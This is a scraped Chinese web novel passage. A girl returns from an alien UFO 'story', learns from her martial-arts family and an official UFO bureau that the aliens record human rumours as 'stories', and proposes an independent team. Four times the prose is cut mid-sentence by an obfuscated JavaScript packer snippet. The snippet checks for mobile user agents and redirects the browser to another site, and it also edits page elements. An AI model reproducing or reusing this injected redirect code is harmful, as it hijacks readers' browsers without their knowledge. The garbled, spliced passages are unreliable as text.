幸存的人们抚摸着自己失而复得的人类身体,兴奋地哭叫:“结束了吗?是结束了吧!” 林清原没工夫细想这种变化是不是黑影被消灭殆尽的原因,她捧起躺在地上的白仙贝的脸,身子一弯,就要开始做人工呼吸。 就在林清原的嘴即将碰到白仙贝的嘴的时候,后者醒了。 白仙贝意识还未彻底归笼,就见到有人贴过来,于是下意识推开了。 林清原一愣,下一秒就抱住了白仙贝,带着哭腔的声音响起。 “太好了!你还活着!”她放开怀抱,吸了吸鼻子,“我还担心现在进行人工呼吸会不会太晚了点,还好你醒过来了!” “人……人工呼吸?” 或许是因为刚呛水恢复,白仙贝惨白的脸上浮现出一抹红晕。 “有东西出来了!” 有人指着水潭大喊。 众人望去,发现从水潭正中,渐渐浮上来一个闪光的东西,随后飘离了水面,停在了半空中。 林清原跳进水潭,游到那东西的下方,一把把它拽了下来,然后又游了回来。 大家都凑过来看这是什么东西。 竟然是一张传单,上面印着好几只漂亮狗狗的照片,正中央是几个加花的大字:狗狗全能比赛。除此之外,还列了比赛项目:耐力、选美、智慧。最下方还有几句鼓励报名参赛的话。 刚亲身经历过“狗狗全能比赛”的大家都有些崩溃。 “为什么水潭里会有传单啊!还偏偏是这个全能比赛!” 林清原翻来覆去地看了好几遍。 这传单明明是从水潭里飘出来的,可是一点水都没沾上,干燥洁净,真是神奇。 突然,传单爆发了刺眼的光芒,将所有人笼罩了进去。 等林清原再度看清眼前的场景时,她发现自己回来了。 她紧张地看了一圈。 没有UFO!这里是现实世界!她从UFO里离开了! 林清原张开手臂,大声欢呼着。 然后她就发现自己手里还捏着传单。 但还没等她想好怎么处理这个传单,就见到它突然碎成了一颗颗光点,消散在了空气中。 林清原还来不及对传单的消失做出反应,就注意到自己的左手腕内侧,多了一个东西。 是一本黑色纹路的摊开的书,擦也擦不掉,按着也不疼,看起来很像纹身。 林清原暴怒,对着这本书指指点点。 “什么破U ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365429|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' FO!怎么进去一趟还强制纹身的!” 突然,“纹身”发生了变化。 书页飞快地翻动着,最后停在了某一页,上面浮现出了一些看不懂的符号。 她伸手摸了上去,发现自己竟然可以“读懂”这些符号的意思。 是一个短小的故事。 “有这么一个地方,生活着很多可爱的狗狗。狗狗们最喜欢玩的地方就是操场,沿着跑道跑一圈、再跑一圈,真快乐!管它跑了多少圈,快乐最重要! 有这么一个地方,生活着很多可爱的狗狗。狗狗们最喜欢玩的地方就是迷宫,迷宫里有好多好看的配饰,这装一个,那装一个,真好看! 有这么一个地方,生活着很多可爱的狗狗。狗狗们最喜欢玩的地方就是森林,森林里的树又高又大,森林里的水潭又深又凉,真好玩! 哎呀,有坏人来了。不过没关系,坏人都被赶跑了。 狗狗们再次幸福地生活在一起了。” 故事阅读完毕,摊开的书页上显示出了一个百分比数字:100%,随后这个数字就消失了,在书本下方出现了一个新的百分比数字: 13%。 林清原没看懂这数字是什么意思。 她还在琢磨着,兜里突然传出了电话铃声。 她伸手一摸,发现手机不知道什么时候又回来了。 还是老爹的电话。 老爹这回的语气和平时不太一样,听起来很严肃。 “小鹤,你现在是不是在后山坡道那里?在原处待着别动,我去接你。” 林清原乖乖待在原地等着老爹。 等老爹来了,她才发现,老妈竟然也跟着来了。 美丽的女人一路小跑着,气还没喘匀就一把抱了上来,然后心疼地抚摸着林清原脸上、身上的细小伤口,眼泪一直流。 林征皱着眉头,叹了口气,说:“回来了就好。” 吕熙音举起拳头锤向了林征的胸口,她哭喊: “都怪你!都怪你!我的宝贝女儿出事了都怪你!” 林征的眼中流露出心疼,他握住自己老婆那因完美的保养而依旧显得犹如少女的嫩手,沉声道: “好好好,都怪我。宝宝别哭了,”他伸手抚去女人的泪珠,吻了吻她的脸颊,“宝宝一哭,我的心就疼坏了。” 吕熙音美目一横。“你的心哪里疼了?” 林征按住吕熙音的手放在自己的胸口:“哪里都疼,宝宝摸。” 吕熙音尝试挣脱,但她的力气不够大,挣扎了几下,就羞红了脸颊,撅起小嘴。 泪珠挂在女人美丽的脸庞上,显得整个人更如一朵娇艳的鲜花,看得林征心头一热,就要低头吻上去。 “哎停停停,我可还在这呢!” 林清原及时打断了老爹老妈的温存。 她无奈地翻了个白眼。 本来听电话里老爹严肃的语气,又看到老妈也跟着来了,还以为出什么大事了。结果二人还是老样子,动不动就忘了还有自己这个小孩的存在。 娇嫩小白花,搭配霸道总裁,简直是天造地设的一对。 如果这天造地设的一对,能不会动不动陷入自己的世界里就更好了。 霸道总裁这才想起来自己还有个孩子。 娇嫩小白花又抱着孩子“呜呜”哭了起来。 林清原搂住自家老妈的腰,把她往家带。 “好啦老妈,别哭啦,我这不是好好的。你们来是有什么话要说吧?那就先回家再说呗。” 她扭头,对林征说:“老爹,你也跟上。” 林征想从小孩手里夺回自家老婆的“搂抱权”,但看着老婆对小孩嘘寒问暖的样子,最终只能生着闷气,一路跟在后面回了家。 5. 比利不见了! 脸上贴了很多创可贴的林清原坐在椅子上,不可置信地问: “所以你们早就知道UFO的事?” “也不算很早。UFO的出现也才没多久,调查要时间,想对策要时间,通知也要时间。”林征呷了一口茶,说:“我们也是上个月才得到的通知。” 吕熙音手托着下巴,说: “本来今天刚得到最新通知,说要林、新两家掌门人和门内新生力量一起去飞研办开会。” “我给你打电话就是为了说开会这事的。”林征很无奈。“结果刚打完电话没多久,就接到消息说林家后山附近出现了两架UFO。在这之后一直联系不上你,想着应该就是被吸进去了。” “两架UFO?” 林清原是真没想到,原来自己看到的那一架UFO只是第一架,之后没多久,又来了第二架。 她向父母讲述自己的经历。 “……就在UFO把我吸进去的时候,比利一口咬住了我的衣服!虽然最后没把我救下来,但还是让我好感动!今晚要给它多加点餐才行。” 吕熙音和林征对视了一眼,犹豫道: “其实……比利它不见了。” “不见了?!” 吕熙音点点头。 “自从你失联,我们就开始搜索你的踪迹,结果发现比利也失踪了。不止咱们家,周边二十公里都搜了个遍,直到现在也没找到比利。” 说着说着,吕熙音的眼里就蓄起了泪。 “不会比利也被UFO吸跑了吧!”林清原大惊失色。 吕熙音落下泪来,她声音颤抖,显得是那么楚楚动人。 “怎么办……小鹤受了这么多伤,乖儿子比利也丢了,我真是没用,自己的孩子都保护不了……” 林征心疼地搂住老婆,英俊的面庞上显出几分阴霾:“怎么会呢,宝宝,你永远是我最棒的宝宝。” 他皱起眉头,看向林清原:“你这孩子,就会惹你妈生气!快过来道歉!” 林清原:“???我不是!我没有!” 不过她还是站起身,坐到了吕熙音的腿上,甜甜地道歉:“好啦,妈,别哭啦,我就受了点皮外伤,不算大事。而且比利就算被UFO吸跑了,也肯定没事的,以它的聪明才智,说不定明天就出来了。” 林清原想起在UFO里死去的人,心情低落了一瞬,但还是转回了注意力,问:“那今天开会的事怎么办?还开吗?” “不开了,换到明天开了。” 林征边回答边瞪着林清原,俊眼中的怒火几乎快形成实质。 他背着吕熙音,伸出食指,指了指坐在老婆腿上的林清原,然后猛地往旁边一甩,意思表达的很明显: 快离开我老婆的腿!谁让你坐的! 林清原直接缩到了吕熙音怀里,委屈巴巴的声音传出:“妈妈~老爹凶我,嘤嘤嘤。” 吕熙音搂紧了自己的宝贝女儿,扭头瞪向林征,清脆的嗓音说出的话犹如利刃,刺向后者:“你怎么可以凶我的宝贝!” 林征:“???我不是!我没有!” 林清原恶魔般的挑衅笑容,在吕熙音重新扭回头后,瞬间变成了天使般的纯良笑容。 看着老爹吃瘪的样子,她心情舒畅,决定放他一马。 “飞研办是什么?还有,要咱家去开会就算了,新家又是哪个?” “飞研办就是‘异常飞碟研究办公室’呀。”吕熙音耐心地解释道。 林征给老婆添上茶水。 “还能有哪个新家,当然是耍‘凌雪剑法’的新家。别告诉我说你不记得了。” 一说“凌雪剑法”,林清原就想起来了。 “哦!原来耍剑的是新家的啊!反正武林中,数咱们林家的飞鹤腿最强,别的就只有‘凌雪剑法’有名些,记不记得都行吧。哦对了,明阿姨是不是就是新家的人来着?” 林征大笑出声:“哈哈哈!好!说的对!记新家干什么!” 吕熙音笑着说:“是呀,你明阿姨就是新家掌门夫人呀,光记得你明阿姨,不记得新家了是吧。而且小鹤,你小时候还跟新家的几个小辈打过架呢,怕不是都忘了?” 林清原确实不记得了。 “有吗?就算打架,也肯定都是我赢!” 她想了想,脑海中隐约记起了一个画面: 一个比她矮了一头的小男孩,哭的鼻涕一把泪一把,放下狠话:“林清原!你等着!我一定会打败你的!” 还没等她想起那个小孩是谁,林征就把她一把拉了起来,往练功场带去: “好小子!咱们林家才是武林第一,新家什么也不算!走!咱们俩再去练两招!” 吕熙音看着相携远去的父女,端起热茶喝了一口,露出一抹微笑,无奈地摇摇头: “唉,真是亲父女,明明新家和林家一直都在争武林第一的位置,到他俩嘴里,就成了新家什么也不算了。要是让新家那几个人听到,又该咋咋呼呼上来敲门了。” 话刚说完,她定的闹钟就响了。 “哎呀,差点忘了,和阿娇约好了今晚打牌的。” 说着,她拨通了新家掌门夫人的电话。 “喂,阿娇。你到哪里啦?我现在不在别馆,在本馆,别走错路哦。需要我去接你嘛?……嗯嗯,好哦,我等你。” 吕熙音开开心心地站起身,整理了一下自己,便前往和好姐妹约定的地点了。 第二天,飞研办开会专用会议室内。 会议桌首位坐着一男一女。男人满脸络腮胡,浓密的眉毛下方是一双炯炯有神的眼睛;女人看起来二十多岁,戴了一副方形眼镜,脸有些削瘦。 此时他们正在和坐在会议桌右侧的最前方的一男一女交谈着。 男人面庞如玉,身着长衫,虽然已经四十多岁,但一举一动还是透露出“富家公子”的从容;女人相较于他,则随性的多,胳膊撑在桌子边缘,明媚靓丽的脸上尽是笑意。 她说:“让小辈们多锻炼锻炼也是好事。虽然UFO内的情况很复杂,但身为习武之人,自然也比一般民众有更强的自保能力。” 从容的男人表示赞同:“夫人说的没错。有其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365430|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力则担其责,早点把UFO的麻烦解决,对每个人来说都是好事。”他话锋一转,说:“不过看有些人迟到的样子,倒是并没做好冲锋上阵的觉悟。” 他笑眯眯地看向络腮胡男人:“方室长,不如就给林征送去个旗子,上面就写‘当代乌龟第一人’,怎么样?” 方室长不接话,咳嗽了几声,掩饰尴尬。 戴眼镜的女人立马做好工作准备:“好的!我这就开始记录!请问旗子上面是否还要加上新掌门您的署名?” 方室长一下子被口水呛住了:“小曼!这个不用记录!” 王小曼迅速擦去记录:“好的!这就取消记录!” 新志平遗憾地摇摇头:“哎呀,旗子没了,那只能由我亲自画一副乌龟踢腿图送给某个迟到的头脑简单的家伙了。” “呵,不如我先给你送一根烧火棍去当剑耍。虽然你‘凌雪’不行,但去烧火还是能勉强胜任的。” 林征大步踏进会议室,径直坐到了会议桌左侧打头的椅子上,针锋相对道。 他拍出自己的手机,往新志平那边推。 “瞧瞧,这是几?8点59分,没迟到。” 新志平微微一笑,阴阳怪气道:“哎呀,真是会卡着点来。我还以为你的腿上功夫退化了,连这间会议室的门都进不来了呢。” 林征嘴角勾起一道冰冷的弧度,话说的毫不客气:“哦?连你这样的花架式都能过来参加会议,我这个做前辈的,总要过来提点提点。” 方室长疯狂地制止王小曼:“小曼!这句话不用记!哎,那句话也不用记!” 林新两家的掌门夫人压根不参与男人间幼稚的斗嘴,她俩亲亲热热地打招呼。 “熙音!你这身旗袍真好看,衬得你皮肤好白!” “阿娇,上午好呀!这个,本来昨晚见面的时候就想送你的,结果玩太高兴了给忘了。” 吕熙音递给明娇一个精致的盒子,里面是一条做工精美的手链。 明娇看了很是喜欢,当即拿出来戴上了。 见自己的好姐妹开心,吕熙音也开心。她看了眼坐在对面的一排人,问: “阿娇,你儿子呢?他没来吗?” 明娇指了指身旁空着的椅子:“来了,只是刚才去上厕所了。小鹤呢?去哪儿了?” “小鹤也去上厕所了。说不定他俩还能碰上呢。” 那边林清原刚顺着指引牌找到了厕所。 她早上吃咸了,一路上喝了不少水,这会儿正急着,结果没注意,差点撞上一个刚从厕所出来的人。 “对不起!” 林清原连忙道歉,结果眼前看到的是锁骨。 她下意识抬头看去,眼神一路略过好看的下巴、高挺的鼻子,来到了精致的眉眼。 是个少年,看起来和自己年纪差不多大。 他的嘴巴也很好看,只是现在看起来心情不好,正紧紧抿着。 林清原双手合十,又道了个歉,然后就进了厕所。她真的要等不了了! 少年望着少女的背影,眼中涌动着复杂的情绪。 6. UFO 林清原来到会议室后,一眼就看到了刚才在厕所外面差点撞上的少年。 他正坐在明阿姨身边。 明娇见到林清原,很是高兴:“小鹤!好久不见了,都长成大姑娘了!” 林清原在吕熙音旁的椅子坐下,露出一个甜美的笑容: “明阿姨!真的好久没见了!你还是一点没变,还是那么好看!” 明娇“呵呵”笑着,向她介绍自己的儿子: “小鹤,这是我儿子,新记明。你们小时候还总一起玩儿呢,长大了都没见过了,是不是都认不出了?” 林清原看向新记明,确实没什么印象了。 新记明皱起眉头,声音冷冷的:“我记得你,林清原。” 他说完就僵住了,内心疯狂自白: [笨蛋!说话太硬了!这哪是打招呼!这是寻仇吧!冷静!冷静!] 不过林清原没有在意僵住的新记明,因为她正专注于打招呼。 其实她小的时候还常去新家玩,两家互相串门都挺频繁的。但后来她逐渐长大,学业逐渐繁重,又有每天的训练任务,渐渐的就不和新家来往了,连带着对新家的印象都少了许多,总是被老妈念叨“练武归练武,不能不关心外界的事呀”。 直到这回的会议,说起来才算是林新两家的主力成员十三年来的第一次正式齐聚。 林征和新志平停下了吵嘴,对着小辈们嘘寒问暖,尽显大家长风范。两家的人彼此问候、闲谈,会议室内是难得的温馨场面。 方室长悄悄松了口气。 还好,林征和新志平虽然表面上不对付,但其实关系还行,两家又都是明事理的人,在大是大非上拎得清,这次针对UFO的合作工作应该可以顺利推进。 方室长没有讲什么开场白,而是直接进入了正题。 让林清原比较意外的是,方室长竟然先向自己提问。 “林清原,你昨天进入了UFO对吧?这应该是你第一次进入,能说一下在被UFO吸进去之前,你在做什么吗?” 林清原复述了一下自己的经历,并且说明了自己的边牧比利可能也被吸进了UFO的猜想。 方室长陷入沉思,说:“这也是一种可能。但以前从未发生过这样的例子,所以目前只能做两手准备,外界的寻找我们也会帮忙,UFO内部的寻找也可以同步进行。” “还能进UFO里面去找的吗?”林清原很惊喜。 王小曼调出资料投放到大屏幕上,从头讲起。 “第一架UFO是在三个月零十四天前出现的。在观测到飞碟的存在后,我方立马采取了行动,进行追踪拦截,并在十天后,成功与UFO进行对接。” “对接?” 林清原是第一次听说。网上流传出来的消息,全是官方的辟谣和安抚,她一直以为官方并不关注这些事情、或者对UFO这种非自然现象手足无措,没想到早在这么久之前,就已经完成了官方的对接。 “是的。”方室长说了一个令林清原意外、但又意料之中的答案:“UFO已经确定为外星文明。” “那外星文明来我们地球干嘛?”林清原不解。 “记录文明。”王小曼展示了各地风土人情的照片,“这些文明,全是外星生物所感兴趣、并且要求记录的文明。” 新记明问:“那针对这些外星生物,有反制方法吗?” “很可惜,并没有。”方室长语气沉重。“我们的科技水平与外星球相差太多,目前尝试过武力压制、物理屏蔽等方式,无一例外全部失败。” 林征向小辈们解释:“大家应该都了解过一些网上的说法,网民对于UFO基本都是半信半疑的态度,因为没有人能提供清晰的照片或者视频。这也是由于技术限制。以我们地球目前的技术,是不能清晰记录有关外星文明的一切的。” “那被UFO吸进去的人呢?总有人像我一样重新回来了吧?这么久了,为什么没有人站出来说更详细的事呢?”林清原问。 方室长说:“正好,你现在来讲一下你在UFO里的经历吧,我们做一下记录。” 林清原回想了一下,开口道: “有这么一个地方,生活着很多可爱的狗狗。狗狗们……等等,不对!” 她组织了一下语言,重新说: “有这么一个地方,生活着很多可爱的狗狗。狗狗们……嗯?” 林清原愣住了。 新志平无奈地笑了笑:“这就是原因。但凡从UFO里回来的人,想要讲述UFO里的经历,都只能讲述‘故事’。” 新记明说了一个令林清原惊讶的事:“我在上周六,也被UFO吸进去了,出来之后,同样只能复述‘故事’。” “‘故事’?”林清原想起曾在网上刷到过的一些号称见过UFO的人的帖子,一些人确实写了些奇奇怪怪的小故事。 所有人都以为那是在骗流量。结果这才是事实吗? 方室长说:“没事,你继续讲述‘故事’,这对我们来说也是重要的研究资料。” 于是林清原就把“故事”完整的复述了一遍。她本来以为自己会记不住,结果只要她开口讲任何关于UFO内部的事,话就自动变成了“故事”,都不带卡壳的。 王小曼准确地将“故事”记录了下来,并迅速圈出了关键词。 狗狗、操场、跑圈、迷宫、配饰、森林、水潭、坏人。 众人看着这个“故事”,根据这些关键词的提示,开始对其进行分析,竟然把内容分析出了百分之六七十! 林清原激动地连连点头。 “没错!差不多就是这样!哎呦!”她正激动着,忽然飞来一个纸杯砸到了头上。 “哪来的水杯???”林清原左看看右看看,发现在场的所有人都对这个突然的变故很迷茫。 林清原正疑惑着,突然听到新记明喊了一声“小心!”,扭头看去,他手中正抓着一个纸杯,看方向似乎又是朝她砸来的。 新记明把纸杯放到桌上,松开手。 纸杯已经被捏扁了,毫无动静。 林清原震惊:“你想砸我?!” 新记明震惊:“虽然想,但不是……” 他话说到一半顿住了,脸涨得通红。 [完了!怎么把心里话说出来了!啊啊啊,不能让她发现端倪!就算想报仇,也要光明正大的报仇!解释啊,快解释!] 但是他愣是张不开嘴,光在心里解释了。 “你还真想砸我啊?!”林清原大为震惊。 明娇看着自己嘴笨的儿子,笑的上气不接下气。不过笑过之后,她还是好心替儿子解了围。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365431|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不是的,小鹤。这是从UFO里出来的人的正常现象。” “从UFO里回来的人,会有三天左右的‘安全期’,也可以被称为‘不稳定期’。”方室长给林清原科普这种情况,“也就是说,从UFO出来后的三天内,不会再次进入UFO。不过代价就是,身边可能会出现一些奇怪的现象。” “啊?被UFO吸进去一次之后,还可能再被吸进去?这UFO还挑人吸的吗?” 方室长点点头。 “根据收集到的资料进行研究,进过一次UFO的人,之后会再次进入。目前已知间隔最短的是三天,间隔最长的是三十天。” 林清原消化了一下这个信息,接着问:“那‘安全期’出现的这种奇怪现象是什么?” “是由于受到了‘核心’的影响。你在UFO里,有没有拿到‘核心’?” “‘核心’?” “对,根据描述,是会发光的东西,而在‘核心’出现之后,这个‘故事’也随之结束。” 林清原想起了自己拿到的发光传单。 “是个传单,上面印着‘狗狗全能比赛’几个字。” 王小曼将找到的资料调出。 “‘狗狗全能比赛’,是在本市申报的,原定于本月月底举办。” 林清原再次看到这个比赛,心情复杂。可是她并不能理解为什么UFO里会是这个“故事”。 “这个‘故事’很奇怪,看着没什么问题,但实际上……” “实际上很黑暗。”新记明接上话。“因为这些‘故事’产生了‘异变’。” 王小曼调出了故事的另一个版本。 是在一个匿名论坛里的帖子,上面有对这个“狗狗全能比赛”的一些讨论,不过内容很变态,充斥着例如虐狗、狗粮掺料等想法。 养狗人士林清原很生气,她问:“这些人是打算实施这些行为吗?” “并没有发现类似的行为。”方室长答。 “那‘异变’是指?” “是‘认知’。” 方室长双手交叉,说:“之前提到说,外星生物驾驶着UFO来到地球,是为了记录地球的文明。而它们记录的方式,就是‘编写故事’。” “怎么编写?” “这些‘故事’都是有原型的。”王小曼又调出了更多的资料。“外星生物对于地球文明的定义,就是‘人类的认知’。当某一处的‘人类认知’达到一定程度,便会产生‘故事’,也可以被称为‘文明的雏形’。 “举个简单的例子,当某一处的人们,普遍认知‘猫这种生物可以变成汽车’这个概念,那么当理解或者承认这个概念的人数达到一定量,这个概念就成了‘故事’,而这个故事就会被外星生物所收录,用来‘记录文明’。” 方室长的解释让林清原有些混乱。她努力理解着这些话。 “所以,其实所谓的‘故事’,就是‘传说’或者‘流言’一类的东西?” “是的。正是因为这种特性,所以‘故事’非常容易受到负面认知的影响,反应到实例里,就是‘异变的故事’。” 这就解释了为什么明明很正常的“狗狗全能比赛”,却会是那种黑暗血腥的比拼。 想来“故事”中提到的“坏人”,就是黑影,也就是网络上这些充满恶意的话语。 7. UFO好复杂! “那只记录这些‘故事’不就够了吗?为什么还要吸人进UFO去经历这些‘故事’?”林清原问。 方室长叹了口气。 “因为它们想要的,是‘纯粹的故事’,而不是‘异变的故事’。为了将这些‘异变’从‘故事’中剥离出来,它们会挑选‘译者’,进去重新编写‘故事’。只有当这个‘故事’里的所有‘异变’都被消除,变回‘纯粹’,才会完结这个‘故事’,进行记录。而此时还活着的人会被送回现实世界,回到他们原来在的位置。” 他看向林清原。 “这就是‘译者’,也就是‘故事编译者’的作用——找到‘核心’,完结‘故事’。” 王小曼展示官方对这个论坛做出的取缔成果。 “原本这个论坛的源头一直不好追踪,然而就在昨天你完结了‘狗狗全能比赛’这个‘故事’后,我们终于从虐狗贴中找到了突破口,一举击溃了这个不健康的网站。大概这些人会消停一段时间了。” “这和我完结了那个‘故事’有关?” “是的。外星生物要求的‘故事’只需要‘纯粹’。而至于怎么变得‘纯粹’,目前最有参考性的推测是,只要‘故事’能够逻辑自洽,那么就可以出现‘核心’了。” 方室长说:“需要注意的是,由于‘故事’的原型是‘人类的认知’,所以‘故事’的‘完结方式’,会在一定程度上改变现实世界中的‘人类的认知’。” 林清原恍然大悟。 难怪“故事”读起来有些不押韵,好像多了几句,原来是因为自己通关的方式有变化,所以影响了“故事”的走向。 不过好在这种影响,对现实世界的影响是正面的。 方室长说回了“奇怪的现象”。 “在UFO内,与‘核心’有过近距离接触的‘译者’,会拥有一些特殊的能力。这种特殊能力在离开UFO后就会暂时被封闭,但是却会在三天内对‘译者’或者‘译者’周边的环境造成影响,这就是‘不稳定期’的说法来源,也是这些‘奇怪现象’发生的原因。” “特殊能力?” 林清原看了看自己,没感觉身上产生了什么特殊的变化。 吕熙音开心地拍手:“恭喜你宝贝,你觉醒了超能力啦!” “啊?那你呢?”林清原看向新记明,“你也有特殊能力了吗?” 新记明的面色变得有些难看。 “眼睛……变好了些。” 他声音小小的,看起来不是很想谈论这个话题。 有了防范,这回林清原顺利抓到了从远处向自己砸来的水瓶。 “我这什么破能力,还一直有东西砸过来。难道是控物吗?” 她放下水瓶,尝试操控。 可惜没有任何反应。 方室长笑了笑:“等会议结束,我们会给你安排体检,检查进入UFO后对身体有没有什么影响,也会对你觉醒的能力进行推测和判定。” 新记明问:“现在官方对UFO了解到什么程度了?” “以上讲的基本就是了解到的全部了。在和UFO进行对接后,经过努力,我们和它们达成了平衡:我们帮助它们完成‘故事’的收集和净化,它们在‘故事’收集完毕后给予‘译者’们可以在现实世界中使用的能力。同时,它们给予我们一部分的科技支持,我们则不再对它们的UFO行动进行干涉。” 方室长对新记明和林清原说:“正因如此,我们才能成功建立地球内部的UFO追踪定位系统,才能得知UFO的出现时机,以便及时接应‘译者’。” 林清原问:“那那些没能成功从UFO里出来的人呢?” “会随机出现在UFO最后落点的方圆十公里内。我们只能尽量为其安排好身后事。” 方室长的话让会议室的氛围变得沉重起来。 林征说:“所以这些事情没法公布于众。一旦让普通人知道,势必会引起恐慌。” “我还有个问题,”林清原问:“我记得有关UFO的报道,不止中国有吧?那外国也是类似的处理方式吗?” “是的。我们与外国早就此事达成了合作,毕竟这并不是单一个国家的事,而是关乎到整个地球上人类的命运的事。” “那‘故事’没有期限吗?”新记明问。 “有。一场‘故事’最多持续七天,UFO内部的时间流速和外界相同。如果七天内,这个‘故事’没有完结,那么会继续吸入新的人,进行下一个七天的轮回。这也是我们今天召开这个会议的根本原因。” 方室长表情很严肃。 “普通人进入UFO的风险太大。虽然我们在网上已经针对‘编译故事’进行了一些隐晦的说明,但毕竟要保证消息不被泄露,有些话不能讲的太明白。所以最靠谱的办法,就是组织官方队伍,根据UFO的选点,及时进行支援。虽然每次‘编译故事’选择的人是随机的,但只要有专业的‘译者’进去,那完结‘故事’的可能性就大了一分,保护民众的希望也大了一分。” 他看向会议室的所有人。 “在场的你们都是我国武术力量的佼佼者,有些已经成为了‘译者’,有些还没有亲身经历过,但是相信如果是你们进入了UFO,肯定比普通人赢面更大。 “我在此代表官方,向你们发出真挚的邀请,希望你们加入官方‘译者’队伍。尽早完结‘故事’,这场事故就能尽早解决。” 他站起身,深深鞠了个躬,然后才坐下。 “当然,这并非是强制的,我们尊重每个人的选择。只是我仅以我自己的名义提出恳请,希望大家能助我们一臂之力!” 明娇看向小辈们:“其实论年龄与实力来说,我们这些长辈才更适合成为‘译者’。但是很可惜,‘译者’有年龄限制。” 新志平说:“只有十八岁到四十岁的人能够成为‘译者’,我们都已经超过了年龄,只能寄希望于你们这些年轻人了。” 林征点点头:“这件事不用立马做出决定,大家可以回去后再好好考虑一下。” 方室长看向林清原,说:“关于你养的边牧,请放心,不论你是否选择加入我们的官方队伍,我们都会在‘故事’中进行搜寻。” 林清原向他表示了感谢。 她问:“不过官方队伍是怎么知道UFO的‘故事’选点的?它不是随机选人吗?难道是自从它出现,队伍就一直跟着?” “确实要一直观测,但不用所有成员都时刻跟在后面,否则消耗的人力物力就太多了。在UFO选人时,只要有一个‘译者’出现在它的范围内,那么它开启‘故事’的期限就会变为一个小时,在这一个小时内,我们会赶往当地进行支援。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365432|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “目前一则‘故事’里,最多同时容纳24人,不过并不是每次都会吸入24个人,所以只要在开启‘故事’的期限中,保证落点范围内人数达到24就可以了。” 林清原正沉思着,就听到有人问: “既然‘故事’的走向会对现实世界产生影响,那这种影响也可能是负面的影响吗?” “没错。‘纯粹的故事’只要求逻辑自洽,换句话说,如果有心人想要从中作恶,那么一则逻辑自洽的‘恶性故事’也是被承认记录的。” “真的会有人这么作恶吗?”林清原不解。 吕熙音拍拍她,说:“小鹤,虽然你是个善良的孩子,但是世界上总有不善良的人。在我们先一步得到消息的时候,就已经出现了好几则‘恶性故事’了。” 王小曼推了推眼镜,说:“事实上,当有些‘译者’得知了官方队伍的存在后,反而会故意与我们对着干,阻挠我们的进度,意图将这些‘故事’变为‘恶性故事’。” 林清原提出了一个想法。 “那既然这样,与其一直吸纳官方成员,不如组建民间队伍。” 新记明表示赞同。 “官方队伍在明,民间队伍在暗,双管齐下,更有保障。” 方室长点点头。 “我们确实考虑过这个想法,并且也将我们的成员分出去一部分,组成了几支民间队伍。但是由于情况复杂,目前的工作成果并没有太大的起色。” “那让我来搞吧。”林清原自告奋勇。“我建立一个队伍,成员由我来选。承接的工作不止仅限于‘故事’,但凡跟UFO相关的都可以试试。多些信息,也多些把握嘛。” “听起来是类似于‘万事屋’那样的?”新记明问。 “‘万事屋’?好名字,又简单易懂,又知名度广,就算没听说过的,看名字也能差不多猜出什么意思。”林清原笑意盈盈。 新记明撇开眼不看她,心里腹诽:这家伙笑这么灿烂干什么?就算对我笑这么灿烂,我也不会轻易原谅你的! 方室长沉思了一下,笑道:“好,既然你这么说了,那我也大力支持。不过至于能做成什么样子,还是要看你自己了。” 他提醒在场的人:“在‘故事’里,有一个隐形要求,或许有些人已经知道了,那就是‘角色扮演’。” “角色扮演?”林清原和新记明都没太听懂。 “是的。在‘故事’里,‘译者’虽然是编译故事的人,但并不代表会直接成为‘故事’中的主角,而是会成为‘故事’中的‘配角’。既然有身份,那么就要求做好‘角色扮演’,不能……” 方室长一时间卡了壳。 王小曼及时接上:“不能OOC。” “对,OOC。这种年轻人的说法我总是记不住。总之就是要扮演好自己的角色,不能让‘故事’中的原有角色识破你的身份。否则会直接导致‘故事’的进一步‘异变’,后果很严重。” 新记明疑惑:“这些信息很具体,都是在和外星生物的协商中得知的吗?” “有些是的,但大部分都是从‘译者’那里收集到的‘故事’中分析出来的。” 